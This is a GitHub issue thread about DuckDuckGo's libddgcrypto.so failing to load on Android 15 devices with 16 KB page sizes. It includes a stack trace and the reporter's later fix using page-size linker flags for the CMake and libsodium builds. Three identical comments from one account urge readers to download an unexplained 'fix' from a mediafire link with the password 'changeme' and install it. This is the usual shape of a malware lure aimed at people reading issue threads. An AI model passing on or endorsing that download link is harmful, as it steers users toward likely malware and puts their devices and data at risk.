Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

ddgcrypto dlopen failed on Android device which version is 15 and with 16 KB page size. #17

Open
KuanChunChen opened this issue Aug 27, 2024 · 1 comment

Comments

@KuanChunChen
Copy link

I try to build the ddg browser on Android 15 device with the feature 16KB page size that meet this crash below:

How can I fix the problem on android 16KB page size deivces?

Error loading sync library (Ask Gemini)
java.lang.UnsatisfiedLinkError: dlopen failed: empty/missing DT_HASH/DT_GNU_HASH in "/data/data/com.sand.safebrowser/app_lib/libddgcrypto.so" (new hash type from the future?)
at java.lang.Runtime.load0(Runtime.java:933)
at java.lang.System.load(System.java:1729)
at com.getkeepsafe.relinker.SystemLibraryLoader.loadPath(SystemLibraryLoader.java:31)
at com.getkeepsafe.relinker.ReLinkerInstance.loadLibraryInternal(ReLinkerInstance.java:206)
at com.getkeepsafe.relinker.ReLinkerInstance.loadLibrary(ReLinkerInstance.java:136)
at com.getkeepsafe.relinker.ReLinker.loadLibrary(ReLinker.java:70)
at com.getkeepsafe.relinker.ReLinker.loadLibrary(ReLinker.java:51)
at com.duckduckgo.library.loader.LibraryLoader$Companion.loadLibrary(LibraryLoader.kt:25)
at com.duckduckgo.sync.crypto.SyncNativeLib.(SyncNativeLib.kt:64)
at com.duckduckgo.sync.impl.di.SyncStoreModule.providesNativeLib(SyncModule.kt:63)
at com.duckduckgo.sync.impl.di.SyncStoreModule_ProvidesNativeLibFactory$Companion.providesNativeLib(SyncStoreModule_ProvidesNativeLibFactory.kt:32)
at com.duckduckgo.sync.impl.di.SyncStoreModule_ProvidesNativeLibFactory.get(SyncStoreModule_ProvidesNativeLibFactory.kt:23)
at com.duckduckgo.sync.impl.di.SyncStoreModule_ProvidesNativeLibFactory.get(SyncStoreModule_ProvidesNativeLibFactory.kt:20)
at dagger.internal.DoubleCheck.get(DoubleCheck.java:47)
at com.duckduckgo.sync.impl.AppSyncRepository_Factory.get(AppSyncRepository_Factory.kt:29)
at com.duckduckgo.sync.impl.AppSyncRepository_Factory.get(AppSyncRepository_Factory.kt:22)
at dagger.internal.DoubleCheck.get(DoubleCheck.java:47)
at com.duckduckgo.sync.impl.AppDeviceSyncState_Factory.get(AppDeviceSyncState_Factory.kt:26)
at com.duckduckgo.sync.impl.AppDeviceSyncState_Factory.get(AppDeviceSyncState_Factory.kt:20)
at com.duckduckgo.sync.impl.AccountObserver_Factory.get(AccountObserver_Factory.kt:27)
at com.duckduckgo.sync.impl.AccountObserver_Factory.get(AccountObserver_Factory.kt:22)
at dagger.internal.DoubleCheck.get(DoubleCheck.java:47)
at com.duckduckgo.app.di.DaggerAppComponent$AppComponentImpl.setOfMainProcessLifecycleObserver(Unknown Source:240)
at com.duckduckgo.app.di.DaggerAppComponent$AppComponentImpl.primaryProcessLifecycleObserverPluginPoint_PluginPoint(Unknown Source:2)
at com.duckduckgo.app.di.DaggerAppComponent$AppComponentImpl.injectDuckDuckGoApplication(Unknown Source:18)
at com.duckduckgo.app.di.DaggerAppComponent$AppComponentImpl.inject(Unknown Source:0)
at com.duckduckgo.app.di.DaggerAppComponent$AppComponentImpl.inject(Unknown Source:2)
at com.duckduckgo.app.global.DuckDuckGoApplication.configureDependencyInjection(DuckDuckGoApplication.kt:190)
at com.duckduckgo.app.global.DuckDuckGoApplication.onMainProcessCreate(DuckDuckGoApplication.kt:99)
at com.duckduckgo.app.global.MultiProcessApplication.onCreate(MultiProcessApplication.kt:34)
at android.app.Instrumentation.callApplicationOnCreate(Instrumentation.java:1386)
at android.app.ActivityThread.handleBindApplication(ActivityThread.java:7504)
at android.app.ActivityThread.-$$Nest$mhandleBindApplication(Unknown Source:0)
at android.app.ActivityThread$H.handleMessage(ActivityThread.java:2416)
at android.os.Handler.dispatchMessage(Handler.java:107)
at android.os.Looper.loopOnce(Looper.java:232)
at android.os.Looper.loop(Looper.java:317)
at android.app.ActivityThread.main(ActivityThread.java:8705)
at java.lang.reflect.Method.invoke(Native Method)
at com.android.internal.os.RuntimeInit$MethodAndArgsCaller.run(RuntimeInit.java:580)
at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:886)

@amir1387aht
Copy link

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

2 similar comments
@amir1387aht
Copy link

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

@amir1387aht
Copy link

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

@KuanChunChen
Copy link
Author

KuanChunChen commented Aug 30, 2024

I figure out the solution, would you please upgrade it and release an new version?
Just add below config on CmakeList.txt in the sync_crypto module.

target_link_options(${CMAKE_PROJECT_NAME} PRIVATE "-Wl,-z,max-page-size=16384")

And rebuild the sodium.so by fellowing step.

  1. Add new config code into each core version of libsodium-xxxxxxx/dist-build/android-xxxxx.sh. (armv7、armv8、x86、x86_64)
export LDFLAGS="$LDFLAGS -Wl,-z,max-page-size=16384 -Wl,--gc-sections"
  1. Rebuile each core version of sodium.so by using:
    ./dist-build/android-x86_64.sh
  2. And put new-build sodium.so and include folder into sync_crypto module.

And please refer this link : https://developer.android.com/guide/practices/page-sizes
It is the document about 16 KB page size by Android Developer.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

3 participants
@KuanChunChen @amir1387aht and others